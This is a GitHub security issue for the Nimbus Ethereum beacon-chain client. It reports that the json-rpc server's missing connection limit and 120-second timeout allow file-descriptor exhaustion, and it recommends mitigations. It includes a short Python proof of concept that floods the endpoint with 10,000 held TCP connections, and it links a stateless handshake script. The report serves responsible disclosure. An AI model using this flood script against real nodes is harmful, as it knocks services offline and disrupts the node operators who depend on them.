status-im / nimbus-eth2

Nim implementation of the Ethereum Beacon Chain
https://nimbus.guide
Other
526 stars 229 forks source link

[SEC] json-rpc server - lack of inbound connection limit and long timeout may enable resource exhaustion attacks (fd) #1652

Open tintinweb opened 4 years ago

tintinweb commented 4 years ago

Description

The json-rpc service is based on the httpserver module which specifies a TCP connection timeout of HttpHeadersTimeout = 120.seconds. The number of concurrent TCP connections (json-rpc clients) is not restricted which may allow an attacker to effectively open an amount of parallel-persisting connections exhausting the target systems maximum allowed file descriptors.

https://github.com/status-im/nim-json-rpc/blob/6406c96b27b23fc270be03e4f0e4db7412adbb9c/json_rpc/servers/httpserver.nim#L11

Exploit Scenario

A malicious entity with access to the json-rpc endpoint may perform a TCP-connection flooding attack in an attempt to force the host system to run out of file descriptors. This may have an affect on file read/writes causing random exceptions or may allow the attacker to impact the target node's peering as no more connections can be opened.

PoC

here's a quick async PoC spawning a lot of parallel connect workers. an attacker may also turn this into a state-less script that does not consume a lot of attacker fd's.

async def connect(target):
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(target)
            print(".", end="")
            sys.stdout.flush()
            return s
        except Exception as e:
            print(e)
            time.sleep(0.1)
            continue

async def main(target):
    allconns = await asyncio.gather(*[connect(target) for _ in range(10000)])
    print("wait 120")
    time.sleep(120)
    for s in allconns:
        if not s:
            continue
        try:
            print("closing")
            s.close()
        except Exception as e:
            print(e)

Mitigation Recommendation

The json-rpc service should be considered as an auxiliary service that is not allowed to impact the nodes chain/validator performance. It is therefore suggested to limit the number of concurrent connections, reduce the service's priority and let it serve on a best-effort basis, and reduce the TCP session timeout which currently is 120 seconds.

Note: this may also affect other services (metrics?) Note: the json-rpc service should typically not be made publicly available. However, from crawling the eth1/eth2 p2p network we know that RPC services of nodes are often accidentally or purposely made available.

tintinweb commented 4 years ago

as mentioned in our call, here's a stateless three-way-tcp handshake script I wrote years ago. https://gist.github.com/tintinweb/8523a9a43a2fb61a6770